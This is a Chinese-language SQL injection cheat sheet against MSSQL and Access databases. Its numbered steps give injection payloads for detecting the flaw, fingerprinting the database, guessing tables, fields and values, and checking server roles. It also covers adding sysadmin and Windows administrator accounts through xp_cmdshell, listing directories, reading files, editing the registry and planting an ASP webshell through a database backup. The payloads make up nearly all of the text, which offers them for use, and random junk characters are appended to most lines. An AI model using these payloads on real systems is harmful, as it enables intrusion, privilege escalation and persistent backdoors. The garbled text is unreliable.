1.判断是否有注入;and 1=1 ;and 1=2 Vq -!1.v3
2.初步判断是否是mssql ;and user>0 w<.{(1:v
`GUj.+u
3.注入参数是字符'and [查询条件] and ''=' uhbo/7d'7
Fpzps!(;=
4.搜索时没过滤参数的'and [查询条件] and '%25'=' "ALR)s,1,
Z,!
w.TYo
5.判断数据库系统 g\OPidY
n*{e0,gp`
;and (select count(*) from sysobjects)>0 mssql CJ%bBL'.
u
B~/W
;and (select count(*) from msysobjects)>0 access $DJp|(8
+^1HtI|y
~^w;`~L
L'`W5B@
6.猜数据库 ;and (select Count(*) from [数据库名])>0 aM,>LKNbQ
GGo
nA
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 "=MRzSke3
kG:uXbUI'
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 # G0jMQ
l5l:'EY>
9.(1)猜字段的ascii值(access) xoA\^AA
4Fgy<^94`
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 xbxU`2/
?r"m*fY%
(2)猜字段的ascii值(mssql) F'|D
Xd!=1::
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 %AF~Ki
&JVe-.
10.测试权限结构(mssql) 8Tyf#`'I
K!lGo3n]
A=Q"IdK
H
:}|UW
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- h?p&9[e`
%TyR8
%
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- X25cU{
Q
Bc\=}
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- lGwX.cA!'
LBk1Qw}-
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6-{QU] #
RM|<(kq
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- >t.2!Z_RQ
5lu620o
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ygW,4Vz7J
Mmq{]q~At
;and 1=(select IS_MEMBER('db_owner'));-- =q.2S;?
3gQQ,V..
6!
\a8q'z
r77?s?
11.添加mssql和系统的帐户 qhRs5QXL
-4mUGh1dy
;exec master.dbo.sp_addlogin username;-- {*bXO8vi((
;exec master.dbo.sp_password null,username,password;-- S^]i
H5j~<@STC
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- \SkCsE#H
m,K0BL
;exec master.dbo.xp_cmdshell 'net user username password BI?M/pIm
]d&6 ?7 !>
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- X<9jBj/t
'Q Ff 7A
;exec master.dbo.xp_cmdshell 'net user username password /add';-- !G.)%+Z
Y .Na9&-(
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- {e/Qs|a
R
'-p<E"#4Z
Z)Nl\e& M
~9#\+[ d_
12.(1)遍历目录 +O`0Mc$%'
CaX&T2(
;create table dirs(paths varchar(100), id int) H,9e<x#own
;,}tXz
;insert dirs exec master.dbo.xp_dirtree 'c:\' J GnL[9P_
n a])bBn
;and (select top 1 paths from dirs)>0 -8X*(7
\/*r45!
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ,YX[6eZr
N9 3
ZI|T
44B)=p7
~v$gk
(2)遍历目录 Z#IRNFj
8
C @iD%
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^|5bK_Z&
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 s
de|t
O:"gJ4D
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ymT&[+V
&ok2Xw
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 LGGC=;{}
:PuJF`k
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 @5K/z<p%
/PN[g~3
id8a#&t]
nyD(G=Q5
13.mssql中的存储过程 j
yR9a!
I:Wrwd
xp_regenumvalues 注册表根键, 子键 NdZv*
T52A}vf4
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 j4$XAq~W
@x3x/gU
xp_regread 根键,子键,键值名 J)D/w[w
-bdF=
;exec xp_regread WBLfxr
xw(KSPN
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 SE&J)Sj]
RNE})B
xp_regwrite 根键,子键, 值名, 值类型, 值 kaQn'5
RR>Q$K
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 8*V^DM3n-
c7.%Bn,
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 }A;J-7g6
|f;u5r!^=
xp_regdeletevalue 根键,子键,值名 Xs$k6C3
]f=108|8
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 P#-Ye<V~J(
y[BUWas(
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 jk,:IG
ZgVYC4=Q-\
p@!{Sh
(Vnv"= (
14.mssql的backup创建webshell ^noKk6Aaa
#Y`GWT1==
use model avrf]raM|
*/fmy|#
create table cmd(str image); g+|1khS)
fl*]ua
insert into cmd(str) values (''); 7'uuc]\5>
gf7%vyMo$
backup database model to disk='c:\l.asp'; RI9&KS
JK34pm[s
7KXc9:p+
>xb}AY;
15.mssql内置函数 >/k[6r5
c,-3+b
;and (select @@version)>0 获得Windows的版本号 o Mk6ZzZ,>
:t+XW`eQR:
;and user_name()='dbo' 判断当前系统的连接用户是不是sa MgyV{`
ZE863M@.
;and (select user_name())>0 爆当前系统的连接用户 A
J<Sa=
6 Ty;m>j
;and (select db_name())>0 得到当前连接的数据库 `3m7b!0k
Ml VN'w
'F.Da#st!}
D&KRJQ/
16.简洁的webshell kBg,U 8|S
pLi_)(#z_
use model Q{1Q w'+@
?_*X\En*3
create table cmd(str image); \7o&'zEw
9}LcJ
insert into cmd(str) values (''); {?yZdL:m)
L q<#
backup database model to disk='g:\wwwtest\l.asp';